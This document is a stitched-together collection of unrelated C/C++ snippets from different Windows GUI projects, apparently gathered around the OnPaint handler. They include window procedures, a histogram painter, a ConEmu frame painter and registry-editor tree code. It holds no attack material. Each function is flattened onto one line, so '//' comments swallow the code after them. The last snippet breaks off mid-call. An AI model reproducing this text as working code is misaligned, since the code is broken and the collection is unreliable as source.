void Window::OnPaint(Canvas &canvas, const PixelRect &dirty) { OnPaint(canvas); }
void WindowLevelToolPanel::CreateHistogramImage() { // Make sure there is valid histrogram data. if (histogram_.size() != nbins_) return; // Create the image data; for( unsigned int i=0; i<nbins_ * 125 * 3; ++i ) histogram_image_data_[i] = 0; float max_values = 1; // Ignore the first and last bin as it usually contains lots of // nothing. This gives a better histogram. for( unsigned int i=1; i<histogram_.size()-1; ++i) max_values = max_values > histogram_[i] ? max_values : histogram_[i]; // Load the histogram data for( unsigned int i=0; i<histogram_.size(); ++i) { unsigned int height = (unsigned int) (125.0 * (1.0 - (float) histogram_[i] / max_values)); if( height > 125 ) height = 125; for( unsigned int j=0; j<height; ++j) { histogram_image_data_[(j*nbins_+i)*3 ] = 150; histogram_image_data_[(j*nbins_+i)*3+1] = 150; histogram_image_data_[(j*nbins_+i)*3+2] = 150; } } // Now do the window and level bounds.(Divide by 1000 ticks into 200 // bins == 5) unsigned int window_lower = (unsigned int) ((nbins_- 1.0) * (float) (mLevelSlider->GetValue() - mWindowSlider->GetValue()/2 ) / 1000.0); if( window_lower < 0 ) window_lower = 0; if( window_lower > (nbins_-1) ) window_lower = (nbins_-1); unsigned int window_upper = (unsigned int) ((nbins_-1.0) * (float) (mLevelSlider->GetValue() + mWindowSlider->GetValue()/2 ) / 1000.0); if( window_upper < 0 ) window_upper = 0; if( window_upper > (nbins_-1) ) window_upper = (nbins_-1); unsigned int level = (unsigned int) ((nbins_-1.0) * (float) mLevelSlider->GetValue() / 1000.0); if( level < 0 ) level = 0; if( level > (nbins_-1) ) level = (nbins_-1); for( unsigned int j=0; j<125; ++j) { histogram_image_data_[(j*nbins_+window_lower)*3 ] = 0; histogram_image_data_[(j*nbins_+window_lower)*3+1] = 150; histogram_image_data_[(j*nbins_+window_lower)*3+2] = 0; } for( unsigned int j=0; j<125; ++j) { histogram_image_data_[(j*nbins_+window_upper)*3 ] = 0; histogram_image_data_[(j*nbins_+window_upper)*3+1] = 150; histogram_image_data_[(j*nbins_+window_upper)*3+2] = 0; } for( unsigned int j=0; j<125; ++j) { histogram_image_data_[(j*nbins_+level)*3 ] = 150; histogram_image_data_[(j*nbins_+level)*3+1] = 0; histogram_image_data_[(j*nbins_+level)*3+2] = 0; } // Anytime the histogram gets changed throw a paint event so that it // shows up on the inital view. wxPaintEvent pe(0); OnPaint( pe ); }
static LRESULT CALLBACK WndProcLabelWithClose(HWND hwnd, UINT msg, WPARAM wp, LPARAM lp) { if (WM_ERASEBKGND == msg) { return TRUE; // tells Windows we handle background erasing so it doesn't do it } LabelWithCloseWnd *w = nullptr; if (WM_NCCREATE == msg) { LPCREATESTRUCT lpcs = reinterpret_cast<LPCREATESTRUCT>(lp); w = reinterpret_cast<LabelWithCloseWnd *>(lpcs->lpCreateParams); w->hwnd = hwnd; SetWindowLongPtr(hwnd, GWLP_USERDATA, reinterpret_cast<LPARAM>(w)); goto DoDefault; } else { w = reinterpret_cast<LabelWithCloseWnd *>(GetWindowLongPtr(hwnd, GWLP_USERDATA)); } if (!w) { goto DoDefault; } // to match other controls, preferred way is explict SetFont() call if (WM_SETFONT == msg) { SetFont(w, (HFONT)wp); return 0; } if (WM_GETFONT == msg) { return (LRESULT)w->font; } if (WM_SIZE == msg) { int dx = LOWORD(lp); int dy = HIWORD(lp); CalcCloseButtonPos(w, dx, dy); ScheduleRepaint(hwnd); return 0; } if (WM_MOUSEMOVE == msg) { ScheduleRepaint(w->hwnd); if (IsMouseOverClose(w)) { // ask for WM_MOUSELEAVE notifications TRACKMOUSEEVENT tme = { 0 }; tme.cbSize = sizeof(tme); tme.dwFlags = TME_LEAVE; tme.hwndTrack = hwnd; TrackMouseEvent(&tme); } goto DoDefault; } if (WM_MOUSELEAVE == msg) { ScheduleRepaint(w->hwnd); return 0; } if (WM_LBUTTONUP == msg) { if (IsMouseOverClose(w)) { HWND parent = GetParent(w->hwnd); SendMessage(parent, WM_COMMAND, w->cmd, 0); } return 0; } if (WM_PAINT == msg) { OnPaint(w); return 0; } DoDefault: return DefWindowProc(hwnd, msg, wp, lp); }
LRESULT MainWindow::OnReceiveMessage(UINT message, WPARAM wParam, LPARAM lParam) { int wmId, wmEvent; HRESULT hr; switch (message) { case WM_CREATE: hr = OnCreate(); if (FAILED(hr)) { // Fail and quit. NotifyError(m_hwnd, TEXT("Cannot initialize the application."), hr); return -1; } break; case WM_SIZE: OnSize(); break; case WM_PAINT: OnPaint(); break; case WM_MOVE: OnPaint(); break; case WM_DISPLAYCHANGE: m_pPlayer->DisplayModeChanged(); break; case WM_ERASEBKGND: return 1; case WM_DESTROY: PostQuitMessage(0); break; case WM_TIMER: OnTimer(); break; case WM_NOTIFY: OnWmNotify((NMHDR*)lParam); break; case WM_COMMAND: wmId = LOWORD(wParam); wmEvent = HIWORD(wParam); switch (wmId) { case IDM_EXIT: DestroyWindow(m_hwnd); break; case ID_FILE_OPENFILE: OnFileOpen(); break; case IDC_BUTTON_PLAY: OnPlay(); break; case IDC_BUTTON_STOP: OnStop(); break; case IDC_BUTTON_PAUSE: OnPause(); break; case IDC_BUTTON_MUTE: OnMute(); break; } break; // Private filter graph message. case WM_GRAPH_EVENT: hr = m_pPlayer->HandleGraphEvent(this); break; default: return BaseWindow::OnReceiveMessage(message, wParam, lParam); } return 0; }
LRESULT CFrameHolder::OnPaint(HWND hWnd, HDC hdc, UINT uMsg) { if (hdc == NULL) { LRESULT lRc = 0; PAINTSTRUCT ps = {0}; hdc = BeginPaint(hWnd, &ps); if (hdc != NULL) { lRc = OnPaint(hWnd, hdc, uMsg); EndPaint(hWnd, &ps); } else { _ASSERTE(hdc != NULL); } return lRc; } #ifdef _DEBUG RECT rcClientReal = {}; GetClientRect(hWnd, &rcClientReal); MapWindowPoints(hWnd, NULL, (LPPOINT)&rcClientReal, 2); #endif // Если "завис" PostUpdate if (gpConEmu->mp_TabBar->NeedPostUpdate()) gpConEmu->mp_TabBar->Update(); // Go RECT wr, cr; RecalculateFrameSizes(); wr = gpConEmu->GetGuiClientRect(); #ifdef _DEBUG wchar_t szPaint[140]; _wsprintf(szPaint, SKIPCOUNT(szPaint) L"MainClient %s at {%i,%i}-{%i,%i} screen coords, size (%ix%i) calc (%ix%i)", (uMsg == WM_PAINT) ? L"WM_PAINT" : (uMsg == WM_PRINTCLIENT) ? L"WM_PRINTCLIENT" : L"UnknownMsg", LOGRECTCOORDS(rcClientReal), LOGRECTSIZE(rcClientReal), LOGRECTSIZE(wr)); DEBUGSTRPAINT(szPaint); #endif #if defined(CONEMU_TABBAR_EX) #ifdef RED_CLIENT_FILL HBRUSH h = CreateSolidBrush(RGB(255,0,0)); FillRect(hdc, &wr, h); DeleteObject(h); return 0; #endif #endif if (gpSet->isStatusBarShow) { int nHeight = gpSet->StatusBarHeight(); if (nHeight < (wr.bottom - wr.top)) { RECT rcStatus = {wr.left, wr.bottom - nHeight, wr.right, wr.bottom}; gpConEmu->mp_Status->PaintStatus(hdc, &rcStatus); wr.bottom = rcStatus.top; } } cr = wr; DEBUGTEST(FrameDrawStyle dt = gpConEmu->DrawType()); #if defined(CONEMU_TABBAR_EX) RECT tr = {}; if (!gpSet->isTabsInCaption) { _ASSERTE(gpConEmu->GetDwmClientRectTopOffset() == 0); // CheckIt, must be zero if (gpSet->isTabs) { RECT captrect = gpConEmu->CalcRect(CER_TAB, wr, CER_MAINCLIENT); //CalculateCaptionPosition(cr, &captrect); CalculateTabPosition(cr, captrect, &tr); PaintDC dc = {false}; RECT pr = {captrect.left, 0, captrect.right, captrect.bottom}; gpConEmu->BeginBufferedPaint(hdc, pr, dc); gpConEmu->mp_TabBar->PaintTabs(dc, captrect, tr); gpConEmu->EndBufferedPaint(dc, TRUE); } } else if (dt == fdt_Aero || dt == fdt_Win8) { _ASSERTE(gpSet->isTabsInCaption); int nOffset = gpConEmu->GetDwmClientRectTopOffset(); // "Рамка" расширена на клиентскую область, поэтому // нужно зарисовать заголовок черной кистью, иначе идет // искажение цвета для кнопок Min/Max/Close if (gpSet->isTabs) { RECT captrect = gpConEmu->CalcRect(CER_TAB, wr, CER_MAINCLIENT); //CalculateCaptionPosition(cr, &captrect); CalculateTabPosition(cr, captrect, &tr); PaintDC dc = {false}; RECT pr = {captrect.left, 0, captrect.right, captrect.bottom}; gpConEmu->BeginBufferedPaint(hdc, pr, dc); gpConEmu->mp_TabBar->PaintTabs(dc, captrect, tr); gpConEmu->EndBufferedPaint(dc, TRUE); // There is no "Glass" in Win8 mb_WasGlassDraw = IsWindows7 && !IsWindows8; } cr.top += nOffset; } #endif #ifdef _DEBUG int nWidth = (cr.right-cr.left); int nHeight = (cr.bottom-cr.top); #endif WARNING("Пока табы рисуем не сами и ExtendDWM отсутствует - дополнительные изыски с временным DC не нужны"); #if 0 if (!gpSet->isTabsInCaption) { //OnPaintClient(hdc/*, nWidth, nHeight*/); } else // Создадим временный DC, для удобства отрисовки в Glass-режиме и для фикса глюка DWM(?) см.ниже // В принципе, для режима Win2k/XP временный DC можно не создавать, если это будет тормозить { //_ASSERTE(FALSE && "Need to be rewritten"); HDC hdcPaint = CreateCompatibleDC(hdc); HBITMAP hbmp = CreateCompatibleBitmap(hdc, nWidth, nHeight); HBITMAP hOldBmp = (HBITMAP)SelectObject(hdcPaint, hbmp); //OnPaintClient(hdcPaint/*, nWidth, nHeight*/); if ((dt == fdt_Aero) || !(mb_WasGlassDraw && gpConEmu->isZoomed())) { BitBlt(hdc, cr.left, cr.top, nWidth, nHeight, hdcPaint, 0, 0, SRCCOPY); } else { //mb_WasGlassDraw = FALSE; // Какой-то странный глюк DWM. При отключении Glass несколько верхних строк // клиентской области оказываются "разрушенными" - у них остается атрибут "прозрачности" // хотя прозрачность (Glass) уже отключена. В результате эти строки - белесые BITMAPINFOHEADER bi = {sizeof(BITMAPINFOHEADER)}; bi.biWidth = cr.right-cr.left+1; bi.biHeight = GetFrameHeight()+1; bi.biPlanes = 1; bi.biBitCount = 32; COLORREF *pPixels = NULL; HDC hdcTmp = CreateCompatibleDC(hdc); HBITMAP hTmp = CreateDIBSection(hdcTmp, (BITMAPINFO*)&bi, DIB_RGB_COLORS, (void**)&pPixels, NULL, 0); if (hTmp == NULL) { _ASSERTE(hTmp == NULL); BitBlt(hdc, cr.left, cr.top, nWidth, nHeight, hdcPaint, 0, 0, SRCCOPY); } else { HBITMAP hOldTmp = (HBITMAP)SelectObject(hdcTmp, hTmp); BitBlt(hdcTmp, 0, 0, bi.biWidth, bi.biHeight, hdcPaint, 0, 0, SRCCOPY); int i = 0; for (int y = 0; y < bi.biHeight; y++) { for (int x = 0; x < bi.biWidth; x++) { pPixels[i++] |= 0xFF000000; } } BitBlt(hdc, cr.left, cr.top, bi.biWidth, bi.biHeight, hdcTmp, 0, 0, SRCCOPY); if (nHeight > bi.biHeight) BitBlt(hdc, cr.left, cr.top+bi.biHeight, nWidth, nHeight-bi.biHeight, hdcPaint, 0, bi.biHeight, SRCCOPY); SelectObject(hdcTmp, hOldTmp); DeleteObject(hbmp); } DeleteDC(hdcTmp); } SelectObject(hdcPaint, hOldBmp); DeleteObject(hbmp); DeleteDC(hdcPaint); } #endif return 0; }
LRESULT CALLBACK WndProc(HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam) { int wmId, wmEvent; PAINTSTRUCT ps; HDC hdc; switch (message) { case WM_COMMAND: wmId = LOWORD(wParam); wmEvent = HIWORD(wParam); switch (wmId) { case IDM_COPY: OnCopy(hWnd); break; case IDM_ABOUT: DialogBox(hInst, MAKEINTRESOURCE(IDD_ABOUTBOX), hWnd, About); break; case IDM_200X150: OnChangeSize(hWnd, 200, 150); sizetype = ST_200X150; break; case IDM_320X240: OnChangeSize(hWnd, 320, 240); sizetype = ST_320X240; break; case IDM_640X480: OnChangeSize(hWnd, 640, 480); sizetype = ST_640X480; break; case IDM_1024X768: OnChangeSize(hWnd, 1024, 768); sizetype = ST_1024X768; break; case IDM_EXIT: DestroyWindow(hWnd); break; } break; case WM_INITMENUPOPUP: OnInitMenuPopup(hWnd, (HMENU)wParam); break; case WM_PAINT: hdc = BeginPaint(hWnd, &ps); OnPaint(hWnd, hdc); EndPaint(hWnd, &ps); break; case WM_DESTROY: PostQuitMessage(0); break; default: return DefWindowProc(hWnd, message, wParam, lParam); } return 0; }
void CPipProp::Repaint(HRGN rgn) { InvalidateRgn(m_hDlg, rgn, TRUE); UpdateWindow(m_hDlg); OnPaint(); }
void CLkDuiCheckBox::NotifyMouseIn(BOOL bIn) { bg_show_index_ = bIn ? 1 : 0; is_erase_bg_ = TRUE; OnPaint(); }
LRESULT C_SpinButton::OnPaint(UINT uMsg, WPARAM wParam, LPARAM lParam, BOOL& bHandled) { C_STLException::install(); try { BOOL enabled = GetEnableState(m_hWnd); C_PaintDC dc(*this); OnPaint(dc); RECT rEdit; m_ed.GetWindowRect(&rEdit); RECT rWnd; GetWindowRect(&rWnd); RECT r = { 0, 0, rEdit.left - rWnd.left - 5, rEdit.bottom - rEdit.top }; dc.SetBkMode(TRANSPARENT); static unsigned int unAlign = DT_RIGHT | DT_VCENTER | DT_SINGLELINE; if (enabled) { dc.CreateFontIndirect(m_lFont); dc.DrawText(m_sTranslation, m_sTranslation.GetLength(), &r, unAlign); } else { r.left += 1; r.top += 1; r.right += 1; r.bottom += 1; OLE_COLOR col = dc.SetTextColor(GetSysColor(COLOR_BTNFACE)); dc.CreateFontIndirect(m_lFont); dc.DrawText(m_sTranslation, m_sTranslation.GetLength(), &r, unAlign); r.left -= 1; r.top -= 1; r.right -= 1; r.bottom -= 1; dc.SetTextColor(GetSysColor(COLOR_BTNSHADOW)); dc.CreateFontIndirect(m_lFont); dc.DrawText(m_sTranslation, m_sTranslation.GetLength(), &r, unAlign); dc.SetTextColor(col); } ::UpdateWindow(m_btnUp); ::UpdateWindow(m_btnDown); m_ed.Invalidate(); } catch (C_STLNonStackException const &exception) { exception.Log(_T("Exception in C_SpinButton::OnPaint")); } catch (...) { } return S_OK; }
/******************************************************************************* * * FUNCTION: ChildWndProc(HWND, unsigned, WORD, LONG) * * PURPOSE: Processes messages for the child windows. * * WM_COMMAND - process the application menu * WM_PAINT - Paint the main window * WM_DESTROY - post a quit message and return * */ LRESULT CALLBACK ChildWndProc(HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam) { BOOL Result; switch (message) { case WM_CREATE: { WNDPROC oldproc; HFONT hFont; WCHAR buffer[MAX_PATH]; /* Load "My Computer" string */ LoadStringW(hInst, IDS_MY_COMPUTER, buffer, COUNT_OF(buffer)); g_pChildWnd = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sizeof(ChildWnd)); if (!g_pChildWnd) return 0; wcsncpy(g_pChildWnd->szPath, buffer, MAX_PATH); g_pChildWnd->nSplitPos = 250; g_pChildWnd->hWnd = hWnd; g_pChildWnd->hAddressBarWnd = CreateWindowExW(WS_EX_CLIENTEDGE, L"Edit", NULL, WS_CHILD | WS_VISIBLE | WS_CHILDWINDOW | WS_TABSTOP, CW_USEDEFAULT, CW_USEDEFAULT, CW_USEDEFAULT, CW_USEDEFAULT, hWnd, (HMENU)0, hInst, 0); g_pChildWnd->hAddressBtnWnd = CreateWindowExW(0, L"Button", L"»", WS_CHILD | WS_VISIBLE | WS_CHILDWINDOW | WS_TABSTOP | BS_TEXT | BS_CENTER | BS_VCENTER | BS_FLAT | BS_DEFPUSHBUTTON, CW_USEDEFAULT, CW_USEDEFAULT, CW_USEDEFAULT, CW_USEDEFAULT, hWnd, (HMENU)0, hInst, 0); g_pChildWnd->hTreeWnd = CreateTreeView(hWnd, g_pChildWnd->szPath, (HMENU) TREE_WINDOW); g_pChildWnd->hListWnd = CreateListView(hWnd, (HMENU) LIST_WINDOW/*, g_pChildWnd->szPath*/); SetFocus(g_pChildWnd->hTreeWnd); /* set the address bar and button font */ if ((g_pChildWnd->hAddressBarWnd) && (g_pChildWnd->hAddressBtnWnd)) { hFont = (HFONT)GetStockObject(DEFAULT_GUI_FONT); SendMessageW(g_pChildWnd->hAddressBarWnd, WM_SETFONT, (WPARAM)hFont, 0); SendMessageW(g_pChildWnd->hAddressBtnWnd, WM_SETFONT, (WPARAM)hFont, 0); } /* Subclass the AddressBar */ oldproc = (WNDPROC)(LONG_PTR)GetWindowLongPtr(g_pChildWnd->hAddressBarWnd, GWLP_WNDPROC); SetWindowLongPtr(g_pChildWnd->hAddressBarWnd, GWLP_USERDATA, (DWORD_PTR)oldproc); SetWindowLongPtr(g_pChildWnd->hAddressBarWnd, GWLP_WNDPROC, (DWORD_PTR)AddressBarProc); break; } case WM_COMMAND: if(HIWORD(wParam) == BN_CLICKED) { PostMessageW(g_pChildWnd->hAddressBarWnd, WM_KEYUP, VK_RETURN, 0); } if (!_CmdWndProc(hWnd, message, wParam, lParam)) { goto def; } break; case WM_PAINT: OnPaint(hWnd); return 0; case WM_SETCURSOR: if (LOWORD(lParam) == HTCLIENT) { POINT pt; GetCursorPos(&pt); ScreenToClient(hWnd, &pt); if (pt.x>=g_pChildWnd->nSplitPos-SPLIT_WIDTH/2 && pt.x<g_pChildWnd->nSplitPos+SPLIT_WIDTH/2+1) { SetCursor(LoadCursorW(0, IDC_SIZEWE)); return TRUE; } } goto def; case WM_DESTROY: DestroyTreeView(); DestroyListView(g_pChildWnd->hListWnd); DestroyMainMenu(); HeapFree(GetProcessHeap(), 0, g_pChildWnd); g_pChildWnd = NULL; PostQuitMessage(0); break; case WM_LBUTTONDOWN: { RECT rt; int x = (short)LOWORD(lParam); GetClientRect(hWnd, &rt); if (x>=g_pChildWnd->nSplitPos-SPLIT_WIDTH/2 && x<g_pChildWnd->nSplitPos+SPLIT_WIDTH/2+1) { last_split = g_pChildWnd->nSplitPos; draw_splitbar(hWnd, last_split); SetCapture(hWnd); } break; } case WM_LBUTTONUP: case WM_RBUTTONDOWN: if (GetCapture() == hWnd) { finish_splitbar(hWnd, LOWORD(lParam)); } break; case WM_CAPTURECHANGED: if (GetCapture()==hWnd && last_split>=0) draw_splitbar(hWnd, last_split); break; case WM_KEYDOWN: if (wParam == VK_ESCAPE) if (GetCapture() == hWnd) { RECT rt; draw_splitbar(hWnd, last_split); GetClientRect(hWnd, &rt); ResizeWnd(rt.right, rt.bottom); last_split = -1; ReleaseCapture(); SetCursor(LoadCursorW(0, IDC_ARROW)); } break; case WM_MOUSEMOVE: if (GetCapture() == hWnd) { HDC hdc; RECT rt; HGDIOBJ OldObj; int x = LOWORD(lParam); if(!SizingPattern) { const DWORD Pattern[4] = {0x5555AAAA, 0x5555AAAA, 0x5555AAAA, 0x5555AAAA}; SizingPattern = CreateBitmap(8, 8, 1, 1, Pattern); } if(!SizingBrush) { SizingBrush = CreatePatternBrush(SizingPattern); } GetClientRect(hWnd, &rt); x = (SHORT) min(max(x, SPLIT_MIN), rt.right - SPLIT_MIN); if(last_split != x) { rt.left = last_split-SPLIT_WIDTH/2; rt.right = last_split+SPLIT_WIDTH/2+1; hdc = GetDC(hWnd); OldObj = SelectObject(hdc, SizingBrush); PatBlt(hdc, rt.left, rt.top, rt.right - rt.left, rt.bottom - rt.top, PATINVERT); last_split = x; rt.left = x-SPLIT_WIDTH/2; rt.right = x+SPLIT_WIDTH/2+1; PatBlt(hdc, rt.left, rt.top, rt.right - rt.left, rt.bottom - rt.top, PATINVERT); SelectObject(hdc, OldObj); ReleaseDC(hWnd, hdc); } } break; case WM_SETFOCUS: if (g_pChildWnd != NULL) { SetFocus(g_pChildWnd->nFocusPanel? g_pChildWnd->hListWnd: g_pChildWnd->hTreeWnd); } break; case WM_TIMER: break; case WM_NOTIFY: if ((int)wParam == TREE_WINDOW && g_pChildWnd != NULL) { switch (((LPNMHDR)lParam)->code) { case TVN_ITEMEXPANDING: return !OnTreeExpanding(g_pChildWnd->hTreeWnd, (NMTREEVIEW*)lParam); case TVN_SELCHANGED: UpdateAddress(((NMTREEVIEW*)lParam)->itemNew.hItem, NULL, NULL); break; case NM_SETFOCUS: g_pChildWnd->nFocusPanel = 0; break; case TVN_BEGINLABELEDIT: { LPNMTVDISPINFO ptvdi; /* cancel label edit for rootkeys */ ptvdi = (LPNMTVDISPINFO) lParam; if (!TreeView_GetParent(g_pChildWnd->hTreeWnd, ptvdi->item.hItem) || !TreeView_GetParent(g_pChildWnd->hTreeWnd, TreeView_GetParent(g_pChildWnd->hTreeWnd, ptvdi->item.hItem))) return TRUE; break; } case TVN_ENDLABELEDIT: { LPCWSTR keyPath; HKEY hRootKey; HKEY hKey = NULL; LPNMTVDISPINFO ptvdi; LONG lResult = TRUE; WCHAR szBuffer[MAX_PATH]; ptvdi = (LPNMTVDISPINFO) lParam; if (ptvdi->item.pszText) { keyPath = GetItemPath(g_pChildWnd->hTreeWnd, TreeView_GetParent(g_pChildWnd->hTreeWnd, ptvdi->item.hItem), &hRootKey); _snwprintf(szBuffer, COUNT_OF(szBuffer), L"%s\\%s", keyPath, ptvdi->item.pszText); keyPath = GetItemPath(g_pChildWnd->hTreeWnd, ptvdi->item.hItem, &hRootKey); if (RegOpenKeyExW(hRootKey, szBuffer, 0, KEY_READ, &hKey) == ERROR_SUCCESS) { lResult = FALSE; RegCloseKey(hKey); (void)TreeView_EditLabel(g_pChildWnd->hTreeWnd, ptvdi->item.hItem); } else { if (RenameKey(hRootKey, keyPath, ptvdi->item.pszText) != ERROR_SUCCESS) lResult = FALSE; else UpdateAddress(ptvdi->item.hItem, hRootKey, szBuffer); } return lResult; } } default: return 0; } } else { if ((int)wParam == LIST_WINDOW && g_pChildWnd != NULL) { switch (((LPNMHDR)lParam)->code) { case NM_SETFOCUS: g_pChildWnd->nFocusPanel = 1; break; default: if(!ListWndNotifyProc(g_pChildWnd->hListWnd, wParam, lParam, &Result)) { goto def; } return Result; break; } } } break; case WM_CONTEXTMENU: { POINT pt; if((HWND)wParam == g_pChildWnd->hListWnd) { int i, cnt; BOOL IsDefault; pt.x = (short) LOWORD(lParam); pt.y = (short) HIWORD(lParam); cnt = ListView_GetSelectedCount(g_pChildWnd->hListWnd); i = ListView_GetNextItem(g_pChildWnd->hListWnd, -1, LVNI_FOCUSED | LVNI_SELECTED); if (pt.x == -1 && pt.y == -1) { RECT rc; if (i != -1) { rc.left = LVIR_BOUNDS; SendMessageW(g_pChildWnd->hListWnd, LVM_GETITEMRECT, i, (LPARAM) &rc); pt.x = rc.left + 8; pt.y = rc.top + 8; } else pt.x = pt.y = 0; ClientToScreen(g_pChildWnd->hListWnd, &pt); } if(i == -1) { TrackPopupMenu(GetSubMenu(hPopupMenus, PM_NEW), TPM_RIGHTBUTTON, pt.x, pt.y, 0, hFrameWnd, NULL); } else { HMENU mnu = GetSubMenu(hPopupMenus, PM_MODIFYVALUE); SetMenuDefaultItem(mnu, ID_EDIT_MODIFY, MF_BYCOMMAND); IsDefault = IsDefaultValue(g_pChildWnd->hListWnd, i); if(cnt == 1) EnableMenuItem(mnu, ID_EDIT_RENAME, MF_BYCOMMAND | (IsDefault ? MF_DISABLED | MF_GRAYED : MF_ENABLED)); else EnableMenuItem(mnu, ID_EDIT_RENAME, MF_BYCOMMAND | MF_DISABLED | MF_GRAYED); EnableMenuItem(mnu, ID_EDIT_MODIFY, MF_BYCOMMAND | (cnt == 1 ? MF_ENABLED : MF_DISABLED | MF_GRAYED)); EnableMenuItem(mnu, ID_EDIT_MODIFY_BIN, MF_BYCOMMAND | (cnt == 1 ? MF_ENABLED : MF_DISABLED | MF_GRAYED)); TrackPopupMenu(mnu, TPM_RIGHTBUTTON, pt.x, pt.y, 0, hFrameWnd, NULL); } } else if ((HWND)wParam == g_pChildWnd->hTreeWnd) { TVHITTESTINFO hti; HMENU hContextMenu; TVITEMW item; MENUITEMINFOW mii; WCHAR resource[256]; WCHAR buffer[256]; LPWSTR s; LPCWSTR keyPath; HKEY hRootKey; int iLastPos; WORD wID; pt.x = (short) LOWORD(lParam); pt.y = (short) HIWORD(lParam); if (pt.x == -1 && pt.y == -1) { RECT rc; hti.hItem = TreeView_GetSelection(g_pChildWnd->hTreeWnd); if (hti.hItem != NULL) { TreeView_GetItemRect(g_pChildWnd->hTreeWnd, hti.hItem, &rc, TRUE); pt.x = rc.left + 8; pt.y = rc.top + 8; ClientToScreen(g_pChildWnd->hTreeWnd, &pt); hti.flags = TVHT_ONITEM; } else hti.flags = 0; } else { hti.pt.x = pt.x; hti.pt.y = pt.y; ScreenToClient(g_pChildWnd->hTreeWnd, &hti.pt); (void)TreeView_HitTest(g_pChildWnd->hTreeWnd, &hti); } if (hti.flags & TVHT_ONITEM) { hContextMenu = GetSubMenu(hPopupMenus, PM_TREECONTEXT); (void)TreeView_SelectItem(g_pChildWnd->hTreeWnd, hti.hItem); memset(&item, 0, sizeof(item)); item.mask = TVIF_STATE | TVIF_CHILDREN; item.hItem = hti.hItem; (void)TreeView_GetItem(g_pChildWnd->hTreeWnd, &item); /* Set the Expand/Collapse menu item appropriately */ LoadStringW(hInst, (item.state & TVIS_EXPANDED) ? IDS_COLLAPSE : IDS_EXPAND, buffer, COUNT_OF(buffer)); memset(&mii, 0, sizeof(mii)); mii.cbSize = sizeof(mii); mii.fMask = MIIM_STRING | MIIM_STATE | MIIM_ID; mii.fState = (item.cChildren > 0) ? MFS_DEFAULT : MFS_GRAYED; mii.wID = (item.state & TVIS_EXPANDED) ? ID_TREE_COLLAPSEBRANCH : ID_TREE_EXPANDBRANCH; mii.dwTypeData = (LPWSTR) buffer; SetMenuItemInfo(hContextMenu, 0, TRUE, &mii); /* Remove any existing suggestions */ memset(&mii, 0, sizeof(mii)); mii.cbSize = sizeof(mii); mii.fMask = MIIM_ID; GetMenuItemInfo(hContextMenu, GetMenuItemCount(hContextMenu) - 1, TRUE, &mii); if ((mii.wID >= ID_TREE_SUGGESTION_MIN) && (mii.wID <= ID_TREE_SUGGESTION_MAX)) { do { iLastPos = GetMenuItemCount(hContextMenu) - 1; GetMenuItemInfo(hContextMenu, iLastPos, TRUE, &mii); RemoveMenu(hContextMenu, iLastPos, MF_BYPOSITION); } while((mii.wID >= ID_TREE_SUGGESTION_MIN) && (mii.wID <= ID_TREE_SUGGESTION_MAX)); } /* Come up with suggestions */ keyPath = GetItemPath(g_pChildWnd->hTreeWnd, NULL, &hRootKey); SuggestKeys(hRootKey, keyPath, Suggestions, COUNT_OF(Suggestions)); if (Suggestions[0]) { AppendMenu(hContextMenu, MF_SEPARATOR, 0, NULL); LoadStringW(hInst, IDS_GOTO_SUGGESTED_KEY, resource, COUNT_OF(resource)); s = Suggestions; wID = ID_TREE_SUGGESTION_MIN; while(*s && (wID <= ID_TREE_SUGGESTION_MAX)) { _snwprintf(buffer, COUNT_OF(buffer), resource, s); memset(&mii, 0, sizeof(mii)); mii.cbSize = sizeof(mii); mii.fMask = MIIM_STRING | MIIM_ID; mii.wID = wID++; mii.dwTypeData = buffer; InsertMenuItem(hContextMenu, GetMenuItemCount(hContextMenu), TRUE, &mii); s += wcslen(s) + 1; } } TrackPopupMenu(hContextMenu, TPM_RIGHTBUTTON, pt.x, pt.y, 0, g_pChildWnd->hWnd, NULL); } } break; } case WM_SIZE: if (wParam != SIZE_MINIMIZED && g_pChildWnd != NULL) { ResizeWnd(LOWORD(lParam), HIWORD(lParam)); } /* fall through */ default: def: return DefWindowProcW(hWnd, message, wParam, lParam); } return 0; }
void CLkDuiCheckBox::SetCheck(enum_check_style check_style) { check_style_ = check_style; is_erase_bg_ = TRUE; OnPaint(); }
void CSequenceSetting::paintEvent(QPaintEvent *) { OnPaint(); }
LRESULT CALLBACK WndMainProc(HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam) { switch(message) { case WM_PAINT: OnPaint(hWnd); break; case WM_DISPLAYCHANGE: if (pWC) pWC->DisplayModeChanged(); break; // Resize the video when the window changes case WM_MOVE: case WM_SIZE: if (hWnd == ghApp) MoveVideoWindow(); break; // Enforce a minimum size case WM_GETMINMAXINFO: { LPMINMAXINFO lpmm = (LPMINMAXINFO) lParam; if (lpmm) { lpmm->ptMinTrackSize.x = MINIMUM_VIDEO_WIDTH; lpmm->ptMinTrackSize.y = MINIMUM_VIDEO_HEIGHT; } } break; case WM_KEYDOWN: switch(toupper((int) wParam)) { case VK_ESCAPE: case VK_F12: CloseClip(); break; } break; case WM_COMMAND: switch(wParam) { // Menus case ID_FILE_OPENCLIP: // If we have ANY file open, close it and shut down DirectShow CloseClip(); OpenClip(); // Open the new clip break; case ID_FILE_INITCLIP: OpenClip(); break; case ID_FILE_EXIT: CloseClip(); PostQuitMessage(0); break; case ID_FILE_CLOSE: CloseClip(); break; case ID_DISABLE: FlipFlag(MARK_DISABLE); DisableTicker(g_dwTickerFlags); break; case ID_SLIDE: FlipFlag(MARK_SLIDE); SlideTicker(g_dwTickerFlags); break; case ID_TICKER_STATIC_IMAGE: g_dwTickerFlags |= MARK_STATIC_IMAGE; g_dwTickerFlags &= ~(MARK_DYNAMIC_TEXT); BlendApplicationImage(ghApp); CheckMenuItem(ghMenu, ID_TICKER_STATIC_IMAGE, MF_CHECKED); CheckMenuItem(ghMenu, ID_TICKER_DYNAMIC_TEXT, MF_UNCHECKED); break; case ID_TICKER_DYNAMIC_TEXT: g_dwTickerFlags |= MARK_DYNAMIC_TEXT; g_dwTickerFlags &= ~(MARK_STATIC_IMAGE); BlendApplicationText(ghApp, g_szAppText); CheckMenuItem(ghMenu, ID_TICKER_STATIC_IMAGE, MF_UNCHECKED); CheckMenuItem(ghMenu, ID_TICKER_DYNAMIC_TEXT, MF_CHECKED); break; case ID_SET_FONT: g_hFont = UserSelectFont(); // Change the current font PostMessage(ghApp, WM_COMMAND, ID_TICKER_DYNAMIC_TEXT, 0); break; case ID_SET_TEXT: DialogBox(ghInst, 